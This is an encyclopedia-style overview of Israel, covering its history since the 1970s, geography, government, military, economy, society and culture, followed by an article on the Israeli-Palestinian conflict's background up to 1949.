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          In the early 1970s, Palestinian groups launched a wave of attacks against Israeli targets around the world, including a massacre of Israeli athletes at the 1972 Summer Olympics. Israel responded with Operation Wrath of God, in which those responsible for the Munich massacre were tracked down and assassinated. On October 6, 1973, Yom Kippur, the holiest day in the Jewish calendar, the Egyptian and Syrian armies launched a surprise attack against Israel. The war ended on October 26 with Israel successfully repelling Egyptian and Syrian forces but suffering great losses. An internal inquiry exonerated the government of responsibility for the war, but public anger forced Prime Minister Golda Meir to resign.


          The 1977 Knesset elections marked a major turning point in Israeli political history as Menachem Begin's Likud party took control from the Labor Party. Later that year, Egyptian President Anwar Al Sadat made a trip to Israel and spoke before the Knesset in what was the first recognition of Israel by an Arab head of state. In the two years that followed, Sadat and Menachem Begin signed the Camp David Accords and the Israel-Egypt Peace Treaty. Israel withdrew from the Sinai Peninsula and agreed to enter negotiations over an autonomy for Palestinians across the Green Line, a plan which was never implemented.


          In 1982, Israel intervened in the Lebanese Civil War to destroy the bases from which the Palestine Liberation Organization launched attacks and missiles at northern Israel. That move developed into the First Lebanon War. Israel withdrew from most of Lebanon in 1986, but maintained a borderland buffer zone until 2000. The First Intifada, a Palestinian uprising against Israeli rule, broke out in 1987 with waves of violence occurring in the occupied territories. Over the following six years, more than a thousand people were killed in the ensuing violence, much of which was internal Palestinian violence. During the 1991 Gulf War, the PLO and many Palestinians supported Saddam Hussein and Iraqi missile attacks against Israel.
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          In 1992, Yitzhak Rabin became Prime Minister following an election in which his party promoted compromise with Israel's neighbors. The following year, Shimon Peres and Mahmoud Abbas, on behalf of Israel and the PLO, signed the Oslo Accords, which gave the Palestinian National Authority the right to self-govern parts of the West Bank and the Gaza Strip, in return for recognition of Israel's right to exist and an end to terrorism. In 1994, the Israel-Jordan Treaty of Peace was signed, making Jordan the second Arab country to normalize relations with Israel. Public support for the Accords waned as Israel was struck by a wave of attacks from Palestinians. The November 1995 assassination of Yitzhak Rabin by a far-right-wing Jew, as he left a peace rally, shocked the country. At the end of the 1990s, Israel, under the leadership of Benjamin Netanyahu, withdrew from Hebron and signed the Wye River Memorandum, giving greater control to the Palestinian National Authority.


          Ehud Barak, elected Prime Minister in 1999, began the new millennium by withdrawing forces from Southern Lebanon and conducting negotiations with Palestinian Authority Chairman Yasser Arafat and U.S. President Bill Clinton at the July 2000 Camp David Summit. During the summit, Barak offered a plan for the establishment of a Palestinian state, but Yasser Arafat rejected it. After the collapse of the talks, Palestinians began the Second Intifada.


          Ariel Sharon soon after became the new prime minister in a 2001 special election. During his tenure, Sharon carried out his plan to unilaterally withdraw from the Gaza Strip and also spearheaded the construction of the Israeli West Bank barrier. In January 2006, after Ariel Sharon suffered a severe hemorrhagic stroke which left him in a coma, the powers of office were transferred to Ehud Olmert. The kidnappings of Israeli soldiers by Hamas and Hezbollah and the shelling of settlements on Israel's northern border led to a five-week war, known in Israel as the Second Lebanon War. The conflict was brought to end by a ceasefire brokered by the United Nations. After the war, Israel's Chief of Staff, Dan Halutz, resigned.


          On November 27, 2007, Israeli Prime Minister Ehud Olmert and Palestinian President Mahmoud Abbas agreed to begin negotiations on all issues, and to make every effort reach an agreement by the end of 2008.


          


          Geography and climate
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          Israel is located at the eastern end of the Mediterranean Sea, bounded by Lebanon to the north, Syria and Jordan to the east, and Egypt to the southwest. The sovereign territory of Israel, excluding all territories captured by Israel during the 1967 Six-Day War, is approximately 20,770square kilometers (8,019sqmi) in area, of which two percent is water. The total area under Israeli law, including East Jerusalem and the Golan Heights, is 22,072square kilometers (8,522sqmi). The total area under Israeli control, including the military-controlled and Palestinian-governed territory of the West Bank, is 27,799square kilometers (10,733sqmi).


          Despite its small size, Israel is home to a variety of geographic features, from the Negev desert in the south to the mountain ranges of the Galilee, Carmel, and the Golan in the north. The Israeli Coastal Plain on the shores of the Mediterranean is home to seventy percent of the nation's population. East of the central highlands lies the Jordan Rift Valley, which forms a small part of the 6,500-kilometer (4,040-mi) Great Rift Valley. The Jordan River runs along the Jordan Rift Valley, from Mount Hermon through the Hulah Valley and the Sea of Galilee to the Dead Sea, the lowest point on the surface of the Earth. Unique to Israel and the Sinai Peninsula are makhteshim, or erosion cirques. The largest makhtesh in the world is Ramon Crater in the Negev, which measures 40kilometers by 8kilometers (25mi by 5mi).


          Temperatures in Israel vary widely, especially during the winter. The more mountainous regions can be windy, cold, and sometimes snowy; Mount Hermon's peak is covered with snow most of the year and Jerusalem usually receives at least one snowfall each year. Meanwhile, coastal cities, such as Tel Aviv and Haifa, have a typical Mediterranean climate with cool, rainy winters and long, hot summers. From May to September, rain in Israel is rare. With scarce water resources, Israel has developed various water-saving technologies, including drip irrigation. Israelis also take advantage of the considerable sunlight available for solar energy; making Israel the leading nation in solar energy use per capita.


          


          Government and politics
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          Israel operates under a parliamentary system as a democratic country with universal suffrage. The President of Israel is the head of state, but his duties are largely ceremonial. A Parliament Member supported by a majority in parliament becomes the Prime Minister, usually the chairman of the largest party. The Prime Minister is the head of government and head of the Cabinet. Israel is governed by a 120-member parliament, known as the Knesset. Membership in the Knesset is based on proportional representation of political parties. Parliamentary elections are held every four years, but the Knesset can dissolve the government at any time by a no-confidence vote. The Basic Laws of Israel function as an unwritten constitution. In 2003, the Knesset began to draft an official constitution based on these laws.


          Israel has a three-tier court system. At the lowest level are magistrate courts, situated in most cities across the country. Above them are district courts, serving both as appellate courts and courts of first instance; they are situated in five of Israel's six districts. The third and highest tier in Israel is the Supreme Court, seated in Jerusalem. It serves a dual role as the highest court of appeals and the High Court of Justice. In the latter role, the Supreme Court rules as a court of first instance, allowing individuals, both citizens and non-citizens, to petition against decisions of state authorities. Israel is not a member of the International Criminal Court as it fears the court would be biased against it due to political pressure. Israel's legal system combines English common law, civil law, and Jewish law. It is based on the principle of stare decisis (precedent) and is an adversarial system, where the parties in the suit bring evidence before the court. Court cases are decided by professional judges rather than juries. Marriage and divorce are under the jurisdiction of the religious courts: Jewish, Muslim, Druze, and Christian. A committee of Knesset members, Supreme Court justices, and Israeli Bar members carries out the election of judges.
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          The Israeli Basic Law: Human Dignity and Liberty seeks to defend human rights and liberties. Israel is the only country in the region ranked "Free" by Freedom House based on the level of civil and political rights; the "Israeli Occupied Territories/Palestinian Authority" was ranked "Not Free." Similarly, Reporters Without Borders rated Israel 50th out of 168 countries in terms of freedom of the press and highest among Middle Eastern countries. Nevertheless, groups such as Amnesty International and Human Rights Watch have often disapproved of Israel's human rights record in regards to the Arab-Israeli conflict. Israel's civil liberties also allow for self-criticism, from groups such as B'Tselem, an Israeli human rights organization. Israel's system of socialized medicine, which guarantees equal health care to all residents of the country, was anchored in law in 1995. 


          Administrative districts


          The State of Israel is divided into six main administrative districts, known as mehozot (מחוזות; singular: mahoz)  Centre District, Haifa District, Jerusalem District, Northern District, Southern District, and Tel Aviv District. Districts are further divided into fifteen sub-districts known as nafot (נפות; singular: nafa), which are themselves partitioned into fifty natural regions. For statistical purposes, the country is divided into three metropolitan areas: Tel Aviv and Gush Dan (population 3,150,000), Haifa (population 996,000), and Beersheba (population 531,600). However, Israel's largest city, both in population and area, is Jerusalem with 732,100 residents in an area of 126square kilometers (49sqmi). Tel Aviv, Haifa, and Rishon LeZion rank as Israel's next most populous cities, with populations of 384,600, 267,000, and 222,300 respectively.


          


          Occupied territories
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          The Israeli-occupied territories  the Gaza Strip, the West Bank and East Jerusalem, and the Golan Heights  are the areas Israel captured from Egypt, Jordan, and Syria during the Six-Day War. The term was also used to describe the Sinai Peninsula, which was returned to Egypt as part of the 1979 Israel-Egypt Peace Treaty. Following Israel's capture of these territories, settlements consisting of Israeli citizens were established within each of them. Israel has applied civilian law to the Golan Heights and East Jerusalem, incorporating them into its territory and offering their inhabitants Israeli citizenship. In contrast, the West Bank and the Gaza Strip have remained under military occupation, and are widely seen  by Israel, the Palestinians, and the international community alike  as the site of a future Palestinian state. Most negotiations relating to the territories have been on the basis of United Nations Security Council Resolution 242, which calls on Israel to withdraw from occupied territories in return for peaceful actions from Arab states (see Land for peace).


          The West Bank and the Gaza Strip both have populations consisting primarily of Arab Palestinians, including historic residents of the territories and refugees of the 1948 Arab-Israeli War. From their occupation in 1967 until 1993, the Palestinians living in these territories were under Israeli military administration. Since the Israel-PLO letters of recognition, most of the Palestinian population and cities have been under the internal jurisdiction of the Palestinian Authority, and only partial Israeli military control, although Israel has on several occasions redeployed its troops and reinstated full military administration during periods of unrest. In response to increasing attacks as part of the Second Intifada, the Israeli government started to construct the Israeli West Bank barrier, which opponents note is partially built within the West Bank. In 2005, Israel removed all of its residents and forces in the Gaza Strip and four settlements in the West Bank as part of its unilateral disengagement plan.


          


          Foreign relations
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          Israel maintains diplomatic relations with 161 countries and has 94 diplomatic missions around the world. Only three members of the Arab League have normalized relations with Israel; Egypt and Jordan signed peace treaties in 1979 and 1994, respectively, and Mauritania opted for full diplomatic relations with Israel in 1999. Two other members of the Arab League, Morocco and Tunisia, which had some diplomatic relations with Israel, severed them at the start of the Second Intifada in 2000. Since 2003, however, ties with Morocco have been on the upswing, and Israel's foreign minister has visited the country. Under Israeli law, Lebanon, Syria, Saudi Arabia, Iraq, and Yemen are enemy countries and Israeli citizens may not visit them without permission from the Ministry of the Interior. Since 1995, Israel has been a member of the Mediterranean Dialogue, which fosters cooperation between seven countries in the Mediterranean Basin and the members of the North Atlantic Treaty Organization.


          The United States, Turkey, Germany,The UK and India are among Israel's closest allies. The United States was the first country to recognize the State of Israel, followed by the Soviet Union. It may regard Israel as its primary ally in the Middle East, based on shared political and religious values. Although Turkey and Israel did not establish full diplomatic relations until 1991, Turkey has cooperated with the State since its recognition of Israel in 1949. However, Turkey's ties to the other Muslim-majority nations in the region have at times resulted in pressure from Arab states to temper its relationship with Israel. Germany's strong ties with Israel may stem from a desire to make amends for the Holocaust. The two countries have cooperated on scientific and educational endeavors and remain strong economic partners. India established full diplomatic ties with Israel in 1992 and has fostered a strong military and cultural partnership with the country since then. United Kingdom has kept full diplomatic relations with Israel since it's formation having had two visits from heads of state in 2007. It has also has a strong trade relationship, Israel being the 23rd largest market. Relations between two countries were also made stronger by former prime minister Tony Blair's efforts for a two state resolution. The UK is seen as having a "natural" relationship with Israel on the count of the British Mandate of Palestine. Iran had diplomatic relations with Israel under the Pahlavi dynasty but withdrew its recognition of Israel during the Iranian Revolution.


          


          Military
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          The Israel Defense Forces consists of the Israeli Army, Israeli Air Force and Israeli Navy. It was founded during the 1948 Arab-Israeli War out of paramilitary organizations  chiefly the Haganah  that preceded the establishment of the state. The IDF also draws upon the resources of the Military Intelligence Directorate (Aman), which works with the Mossad and Shabak. The involvement of the Israel Defense Forces in major wars and border conflicts has made it one of the most battle-trained armed forces in the world.


          The majority of Israelis are drafted into the military at the age of eighteen. Men serve three years and women serve two years. Following compulsory service, Israeli men join the reserve forces and do several weeks of reserve duty every year until their forties. Most women are exempt from reserve duty. Israeli Arabs and those engaged in full-time religious studies are exempt from military service, although the exemption of yeshiva students has been a source of contention in Israeli society for many years. An alternative for those who receive exemptions on various grounds is Sherut Leumi, or national service, which involves a program of service in hospitals, schools and other social welfare frameworks. As a result of its conscription program, the IDF maintains approximately 168,000 active troops and an additional 408,000 reservists.


          The nation's military relies heavily on high-tech weapons systems designed and manufactured in Israel as well as some foreign imports. The United States is a particularly notable foreign contributor; they are expected to provide the country with $30 billion in military aid between 2008 and 2017. The Israeli- and U.S.-designed Arrow missile is one of the world's only operational anti-ballistic missile systems. Since the Yom Kippur War, Israel has developed a network of reconnaissance satellites. The success of the Ofeq program has made Israel one of seven countries capable of launching such satellites. The country has also developed its own main battle tank, the Merkava. Since its establishment, Israel has had to spend a significant portion of its gross domestic product on defense. In 1984, for example, the country spent 24% of its GDP on defense. Today, that figure has dropped to 7.3%.


          Israel has not signed the Nuclear Non-Proliferation Treaty and maintains a policy of deliberate ambiguity toward its nuclear capabilities, though it is widely regarded as possessing nuclear weapons. After the Gulf War in 1991, when Israel was attacked by Iraqi Scud missiles, a law was passed requiring all apartments and homes in Israel to have a mamad, a reinforced security room impermeable to chemical and biological substances.


          


          Economy
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          Israel is considered one of the most advanced countries in the Middle East in economic and industrial development. The country has been ranked highest in the region on the World Bank's Ease of Doing Business Index as well as in the World Economic Forum's Global Competitiveness Report. It has the second-largest number of startup companies in the world (after the United States) and the largest number of NASDAQ-listed companies outside North America. In 2007, Israel had the 44rd-highest gross domestic product and 22th-highest gross domestic product per capita (at purchasing power parity) at US$232.7 billion and US$33,299, respectively. In 2007, Israel was invited to join the Organisation for Economic Co-operation and Development, which promotes cooperation between countries that adhere to democratic principles and operate free-market economies.


          Despite limited natural resources, intensive development of the agricultural and industrial sectors over the past decades has made Israel largely self-sufficient in food production, apart from grains and beef. Other major imports to Israel, totaling US$47.8 billion in 2006, include fossil fuels, raw materials, and military equipment. Leading exports include fruits, vegetables, pharmaceuticals, software, chemicals, military technology, and diamonds; in 2006, Israeli exports reached US$42.86 billion. Israel is a global leader in water conservation and geothermal energy, and its development of cutting-edge technologies in software, communications and the life sciences have evoked comparisons with Silicon Valley. Intel and Microsoft built their first overseas research and development centers in Israel, and other high-tech multi-national corporations, such as IBM, Cisco Systems, and Motorola, have opened facilities in the country. In July 2007, U.S. billionaire Warren Buffet's Berkshire Hathaway bought an Israeli company Iscar, its first non-U.S. acquisition, for $4 billion. Since the 1970's, Israel has received economic aid from the United States, whose loans account for the bulk of Israel's external debt, although that aid is expected to end in 2008.


          Tourism, especially religious tourism, is another important industry in Israel, with the country's temperate climate, beaches, archaeological and historical sites, and unique geography also drawing tourists. Israel's security problems have taken their toll on the industry, but the number of incoming tourists is on the rebound.


          


          Science and education
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          Israel has the highest school life expectancy in the Greater Middle East and Southwest Asia, and is tied with Japan for second-highest school life expectancy on the Asian continent (after South Korea). Israel similarly has the highest literacy rate in the Middle East, according to the United Nations. The State Education Law, passed in 1953, established five types of schools: state secular, state religious, ultra orthodox, communal settlement schools, and Arab schools. The public secular is the largest school group, and is attended by the majority of Jewish and non-Arab pupils in Israel. Most Arabs send their children to schools where Arabic is the language of instruction.


          Education is compulsory in Israel for children between the ages of three and eighteen. Schooling is divided into three tiers  primary school (grades 16), middle school (grades 79), and high school (grades 1012)  culminating with Bagrut matriculation exams. Proficiency in core subjects such as mathematics, Bible, Hebrew language, Hebrew and general literature, English, history, and civics is necessary to receive a Bagrut certificate. In Arab, Christian and Druze schools, the exam on Biblical studies is replaced by an exam in Islam, Christianity or Druze heritage. In 2003, over half of all Israeli twelfth graders earned a matriculation certificate.


          Israel's eight public universities are subsidized by the state. The Hebrew University of Jerusalem, Israel's oldest university, houses the Jewish National and University Library, the world's largest repository of books on Jewish subjects. In 2006, the Hebrew University was ranked 60th and 119th in two surveys of the world's top universities. Other major universities in the country include the Technion, the Weizmann Institute of Science, Tel Aviv University, Bar-Ilan University, the University of Haifa, and Ben-Gurion University of the Negev. Israel ranks third in the world in the number of citizens who hold university degrees (20 percent of the population). During the 1990s, an influx of a million immigrants from the former Soviet Union (forty percent of whom were university graduates) helped boost Israel's high-tech sector. Israel has produced four Nobel Prize-winning scientists and publishes among the most scientific papers per capita of any country in the world. In 2003, Ilan Ramon became Israel's first astronaut, serving as payload specialist of STS-107, the fatal mission of the Space Shuttle Columbia.


          


          Demographics


          Israel's population, as of 2007, is 7.22 million.


          Of those, over 260,000 Israeli citizens lived in the West Bank settlements in Israeli cities such as Ma'ale Adumim and Ariel, and communities that predated the establishment of the State but were re-established after the Six-Day War, such as Hebron and Gush Etzion. 18,000 settlers Jews living in the Golan Heights. In 2005, there were 180,000 Jews living in East Jerusalem. The total number of Jewish settlers is over 470,000 (6.5% of the Israeli population). Approximately 7,800 Israelis lived in settlements in the Gaza Strip until they were evacuated by the government as part of its 2005 disengagement plan.


          Israel's two official languages are Hebrew and Arabic. Hebrew is the primary language of the state and spoken by the majority of the population. Arabic is spoken by the Arab minority and Jews who immigrated to Israel from Arab lands. Most Israelis can communicate reasonably well in English, as many television programs are in English and many schools begin to teach English in the early grades. As a country of immigrants, dozens of languages can be heard on the streets of Israel. A large influx of people from the former Soviet Union and Ethiopia have made Russian and Amharic widely spoken in Israel. Between 1990 and 1994, the immigration of Jews from the former Soviet Union increased Israel's population by twelve percent.


          


          Religion


          
            [image: The Western Wall and the Dome of the Rock, Jerusalem]

            
              The Western Wall and the Dome of the Rock, Jerusalem
            

          


          Israel was established as a homeland for the Jewish people and is often referred to as the Jewish state. The country's Law of Return grants all Jews and those of Jewish lineage the right to Israeli citizenship. Just over three quarters, or 76.1%, of the population are Jews from a diversity of Jewish backgrounds. Approximately sixty-eight percent of Israeli Jews are Israeli-born, twenty-two percent are immigrants from Europe and the Americas, and ten percent are immigrants from Asia and Africa (including the Arab world). The religious affiliation of Israeli Jews varies widely: eight percent define themselves as " Haredi Jews" and twenty percent consider themselves "secular Jews". The majority of Israeli Jews, fifty-five percent, say they are "traditional," The remaining seventeen percent define themselves as Orthodox Jews.
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          Making up 16.2% of the population, Muslims constitute Israel's largest religious minority. Israeli Arabs, who comprise 19.8% of the population, contribute significantly to that figure as over four fifths (82.6%) of them are Muslim. Of the remaining Israeli Arabs, 8.8% are Christian and 8.4% are Druze. Members of many other religious groups, including Buddhists and Hindus, maintain a presence in Israel, albeit in small numbers.


          The city of Jerusalem enjoys a special place in the hearts of Jews, Muslims, and Christians as the home of sites that are pivotal to their religious beliefs, such as the Western Wall, the Temple Mount, the Al-Aqsa Mosque and the Church of the Holy Sepulchre. Other landmarks of religious importance are located in the West Bank, among them the birthplace of Jesus and Rachel's Tomb in Bethlehem, and the Cave of the Patriarchs in Hebron. The administrative centre of the Bah' Faith and the Shrine of the Bb are located at the Bah' World Centre in Haifa and the leader of the faith is buried in Acre. Apart from maintenance staff, there is no Bah' community in Israel, although it is a destination for pilgrimages.


          


          Culture
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          Israel's diverse culture stems from the diversity of the population: Jews from around the world have brought their cultural and religious traditions with them, creating a melting pot of Jewish customs and beliefs. Israel is the only country in the world where life revolves around the Hebrew calendar. Work and school holidays are determined by the Jewish holidays, and the official day of rest is Saturday, the Jewish Sabbath. Israel's large Arab minority has left its imprint on Israeli culture in such spheres as architecture, music, and cuisine.


          Israeli literature is primarily poetry and prose written in Hebrew, as part of the renaissance of Hebrew as a spoken language since the mid-19th century, although a small body of literature is published in other languages, such as Arabic and English. By law, two copies of all printed matter published in Israel must be deposited in the Jewish National and University Library at the Hebrew University of Jerusalem. In 2001, the law was amended to include audio and video recordings, and other non-print media. In 2006, 85 percent of the 8,000 books transferred to the library were in Hebrew. Hebrew Book Week is held each June and features book fairs, public readings, and appearances by Israeli authors around the country. During the week, Israel's top literary award, the Sapir Prize, is presented. In 1966, Shmuel Yosef Agnon shared the Nobel Prize in Literature with German Jewish author Nelly Sachs.
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          Israeli music contains musical influences from all over the world; Yemenite music, Hasidic melodies, Arabic music, Greek music, jazz, and pop rock are all part of the music scene. The nation's canonical folk songs, known as "Songs of the Land of Israel," deal with the experiences of the pioneers in building the Jewish homeland. Among Israel's world-renowned orchestras is the Israel Philharmonic Orchestra, which has been in operation for over seventy years and today performs more than two hundred concerts each year. Israel has also produced many musicians of note, some achieving international stardom. Itzhak Perlman, Pinchas Zukerman are among the internationally-acclaimed musicians born in Israel. Israel has participated in the Eurovision Song Contest nearly every year since 1973, winning the competition three times and hosting it twice. Eilat has hosted its own international music festival, the Red Sea Jazz Festival, every summer since 1987. Continuing the strong theatrical traditions of the Yiddish theatre in Eastern Europe, Israel maintains a vibrant theatre scene. Founded in 1918, Habima Theatre in Tel Aviv is Israel's oldest repertory theater company and national theatre.


          The Israel Museum in Jerusalem is one of Israel's most important cultural institutions and houses the Dead Sea Scrolls, along with an extensive collection of Judaica and European art. Israel's national Holocaust museum, Yad Vashem, houses the world's largest archive of Holocaust-related information. On the campus of Tel Aviv University is Beth Hatefutsoth (the Diaspora Museum), an interactive museum devoted to the history of Jewish communities around the world. Apart from the major museums in large cities, there are also small but high-quality artspaces in many towns and kibbutzim.


          


          Sports
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          Sports and physical fitness have not always been paramount in Jewish culture. Athletic prowess, which was prized by the Ancient Greeks, was looked down upon as an unwelcome intrusion of Hellenistic values. Maimonides, however, who was both a rabbi and a physician, emphasized the importance of physical activity and keeping the body in shape. This approach received a boost in the 19th century from the physical culture campaign of Max Nordau, and in the early 20th century when the Chief Rabbi of Palestine, Abraham Isaac Kook, declared that "the body serves the soul, and only a healthy body can ensure a healthy soul".


          The Maccabiah Games, an Olympic-style event for Jewish athletes, was inaugurated in the 1930s, and has been held every four years since then. The most popular spectator sports in Israel today are football (soccer) and basketball. Ligat ha'Al is the country's premier soccer league, and Ligat Winner is the premier basketball league. Maccabi Tel Aviv B.C. has won the European championship in basketball five times. Beersheba has become a national chess centre and home to many chess champions from the former Soviet Union. The city hosted the World Team Chess Championship in 2005, and chess is taught in the city's kindergartens. Two years later, in 2007, an Israeli tied for second place in the World Chess Championship. To date, Israel has won six Olympic medals, including a gold medal in windsurfing at the 2004 Summer Olympics.
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          The Israeli-Palestinian conflict is an ongoing dispute between the State of Israel and the Palestinian people. The Israeli-Palestinian conflict is part of the wider Arab-Israeli conflict and is essentially a dispute between two national identities with claims over the same area of land.


          The modern roots of the conflict can be traced to the late 19th century, which saw a rise in national movements, including Zionism and Arab nationalism. Zionism, the Jewish national movement, which was established largely as a response to European anti-Semitism, sought the creation of a Jewish Nation-State in the territory of Palestine, Eretz Israel, the historical Jewish homeland, which at that time was part of the Ottoman Empire. To this end, the World Zionist Organization and the Jewish National Fund encouraged immigration and funded purchase of land.


          Following World War I and the dissolution of the Ottoman Empire, the region came under the control of the United Kingdom through the Sykes-Picot Agreement and a League of Nations mandate. Palestinian and Jewish nationalism opposed each other harder and harder, as in the 1920 Palestine riots, the 1921 Palestine riots, the 1929 Hebron massacre and the Great Arab Revolt.


          This violence and the heavy cost of World War II led Britain to turn the issue of Palestine to the United Nations. In 1947, the U.N. approved the partition of the British Mandate of Palestine into two states, one Jewish and one Arab. Palestinian Arab leaders supported by the Arab League rejected the plan and the next day, a civil war started in Mandatory Palestine. Jewish and Palestinian Arabs fought against each other. Arab foreign volunteers entered Palestine to fight with the Palestinians and when Haganah took the offensive on April 1948, the Palestinian society collapsed and a massive exodus started.


          On May 14, 1948, Israel declared its independence. Five Arab League countries (Egypt, Lebanon, Syria, Transjordan and Iraq) intervened in the conflict, launching the 1948 Arab-Israeli War. As a result of this war, Israel captured territory that changed its borders, but left Jerusalem a divided city. In the Six-Day War in 1967, Israel captured the West Bank from Jordan, the Gaza Strip from Egypt, and East Jerusalem including the Old City and its holy sites, which Israel annexed and reunited with the Western neighborhoods of Jerusalem. The status of the city as Israel's capital and the occupation of the West Bank and Gaza Strip were to remain sources of bitter conflict.


          For decades after 1948, Arab governments had refused to recognize Israel and in 1964 the Palestine Liberation Organization (PLO) was founded with the central tenet that Palestine, with its original Mandate borders, is the indivisible homeland of the Arab Palestinian people. In turn, Israel refused to recognize the PLO as a negotiating partner. In 1988, Yasser Arafat stated that he recognized Israel's right to exist.


          An attempt to broker a "two state solution," that is the creation of separate Jewish and Palestinian states, was seen in the Oslo peace process, where Israel and the PLO negotiated, unsuccessfully, to come to a mutual agreement. During the Oslo process, which began in 1993, the Palestine Liberation Organization was permitted autonomy to run Palestinian affairs in the Gaza Strip and West Bank in the form of the Palestinian National Authority with the understanding that it would uphold recognition of and mutual co-existence with Israel. However there was continual contention over whether actual events and conditions proved that there was greater acceptance of Israel's existence by Palestinian leaders or a commitment by Israel to stop settlement activity in the West Bank and Gaza Strip.


          The vast majority of Israelis and Palestinians, according to all major polls, agree that a two-state solution is the best way to end the conflict. Most Palestinians view the West Bank and Gaza Strip as part of their future state. Most Israelis also accept this solution. A handful of academics advocate a one-state solution, whereby all of Israel, the Gaza Strip, and West Bank would become a bi-national state with equal rights for all.


          Core issues in the conflict are the future of the remaining Israeli settlements built in the occupied territories, the right of return for Palestinian refugees and their descendants, and the status of Jerusalem, along with the refusal of some Palestinian groups to recognize the right of Israel to exist as a Jewish state and Israel's reluctance to allow the establishment of a Palestinian state in the West Bank and Gaza Strip.


          Israel asserts that one major condition of Palestinian sovereignty over any territory must be acceptance of mutual co-existence and elimination of terrorism by the Palestinians. Some Palestinian groups, notably Fatah, a political party founded by PLO leaders, claim they are willing to foster co-existence if Palestinians are steadily given more political rights and autonomy. In 2006, Hamas won a majority in the Palestinian Legislative Council, where it remains the majority party. While Hamas has openly stated in the past that it completely opposed Israel's right to exist, indeed its charter states this, there is some evidence that its position may have softened somewhat recently. However, Israel contends that Hamas's leaders have consistently refused to recognize Israel in any valid way.


          The most recent round of peace negotiations began at Annapolis, USA in November, 2007. These talks aim to have a final resolution by the end of 2008.


          


          History


          The Israeli-Palestinian conflict resulted from competing Jewish and Arab national aspirations for the region of Palestine, conflicting promises by the British in the forms of the Hussein-McMahon Correspondence and the Balfour Declaration of 1917, and several outbreaks of violence between Jewish and Arab residents of the region of Palestine.


          


          Background


          The area between the Mediterranean Sea and the Jordan River, known to some as Palestine and to others as Eretz Israel, was controlled by various national groups throughout history. A number of groups, including the Canaanites, the Israelites, the Babylonians, Persians, Greeks, Romans, Byzantines, Umayyads, Abbasids, Turks, Crusaders, and Mamluks controlled the region at one time or another. From 1516 until the conclusion of World War I, the region was controlled by the Ottoman Empire.
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          From 1915 to 1916, the British High Commissioner in Egypt, Sir Henry McMahon, corresponded by letter with Hussein ibn Ali, the father of Pan Arabism. In these letters, later known as the Hussein-McMahon Correspondence, McMahon promised Hussein and his Arab followers the territory of the Ottoman Empire in exchange for assistance in driving out the Ottoman Turks. Hussein interpreted these letters as promising the region of Palestine to the Arabs. Conversely, McMahon and the British government claimed that Palestine was excluded from the territorial promises.


          In 1916, Britain and France signed the Sykes-Picot Agreement, which divided the colonies of the Ottoman Empire between them. Under this agreement, the region of Palestine would be controlled by Britain. In a 1917 letter from Arthur James Balfour to Lord Rothschild, known as the Balfour Declaration of 1917, the British government promised "the establishment in Palestine of a national home for the Jewish people", but at the same time required "that nothing shall be done which may prejudice the civil and religious rights of existing non-Jewish communities in Palestine".
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          1920-1945


          In 1922, the League of Nations granted Britain a mandate. Like all League of Nations Mandates, the British mandate derived from article 22 of the League of Nations Covenant, which called for the self-determination of former Ottoman Empire colonies following a transitory period administered by a world power. The Palestine Mandate recognized the Balfour Declaration of 1917 and required that the mandatory government "facilitate Jewish immigration" while at the same time "ensuring that the rights and position of other sections of the population are not prejudiced."


          In 1920, disagreements over Jewish immigration as well as incitement by Haj Amin Al-Husseini led to an outbreak of violent Arab disturbances against the Jews of Jerusalem. The following year, violence erupted again during the Jaffa Riots. In response, Britain established the Haycraft Commission of Inquiry. In 1929, violence erupted again in the form of the riots, the Hebron massacre, and the Safed massacre, which were documented by the British in the Shaw Report.


          Violence erupted again during the 1936-1939 Arab revolt in Palestine. The British established the Peel Commission of 1936-1937 in order to put an end to the violence. The Peel Commission concluded that only partition could put an end to the violence and proposed the Peel Partition Plan. There was no consensus in the Jewish community regarding the partition plan; while the Jewish community accepted the concept of partition not all members endorsed the implementation proposed by the Peel Commission. The Arab community rejected the Peel Partition Plan in its entirety.


          Abandoning the Peel partition plan, Britain issued its White Paper of 1939. The White Paper sought to accommodate Arab demands regarding Jewish immigration by placing a quota of 10,000 Jewish immigrants per year over a five-year period from 1939 to 1944. After 1944, the White Paper required Arab consent for further Jewish immigration. The White Paper was seen by the Jewish community as a revocation of the Balfour Declaration of 1917. Nonetheless, due to Jewish persecution in the Holocaust, Jews continued to immigrate illegally in what has become known as Aliyah Bet.
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          After World War II, Zionists exerted continuous pressure to relocate Jewish survivors of the Holocaust and establish a Jewish homeland in Palestine. These efforts caused difficulties for the British authorities before the international community, since they still rigorously applied the policies against further Jewish immigration outlined in the 1939 White Paper. Arab leaders expressed reservations about this immigration, as well as the political aspirations related to Zionism.
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          During this period, some Zionist groups, such as the Haganah and Irgun, began to launch attacks on the British military in Palestine, in order to end British rule there. As the conflict went on, the British government asked the United Nations to look into the question of how to politically manage conflicting claims within Palestine. The United Nations formed a special committee, UNSCOP, and eventually proposed a two-state solution, with a Jerusalem/Bethlehem enclave internationalized. On 29 November 1947, the U.N. adopted a Partition Plan . The Plan was accepted by the Yishuv but rejected by the Arab League representing the Arab states. Immediately, a civil war broke out in Palestine and British troops began evacuating the country.


          Violence intensified. In February, Arab volunteers entered Palestine. The Jewish sector of Jerusalem became isolated. In April, the Haganah took the offensive and defeated Arab Palestinians and volunteers, and took control of different mixed localities. A massive exodus of Palestinian Arabs began.


          On May 14, 1948, Israel declared its independence. Several Arab armies entered Palestine. After six weeks of heavy fighting, particularly around Jerusalem, all parties agreed to a truce. During the truce, Israel reinforced her forces and, after the truce, Israel took the initiative and defeated the Arab armies. By the conclusion of the 1948 Arab-Israeli War, Israel had greatly expanded its borders and signed ceasefire agreements with all its Arab neighbors.


          The 1948 conflict led to several massacres that occurred both before and after Israel's Declaration of Independence. While each case was unique, both sides of the conflict bore some responsibility for the massacres. Expulsions also occurred on both sides. The 1948 conflict resulted in thousands of casualties on both sides and an exodus of Palestinian Arabs. The exact causes of this exodus are a source of dispute among historians; some claim that the Palestinian villagers were forcibly expelled while others claim that the villagers fled in fear before Israeli forces arrived. Whatever the reasons behind it, this exodus created the Palestinian refugee problem, which has remained unsolved.


          Palestinians are defined by the United Nations Relief Works Agency ( UNRWA) as those who lived in Palestine between 1946-1948 or their descendants. Aid is given by the United Nations to the Palestinians in the West Bank and Gaza Strip, as well as in refugee camps in Egypt, Lebanon and Jordan. The number of Palestinian refugees has since increased to several million.
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          By the end of 1949, only 150,123 Palestinians remained within Israel. For this reason, the Israeli-Palestinian conflict took a back seat to the broader Arab-Israeli conflict during this time.


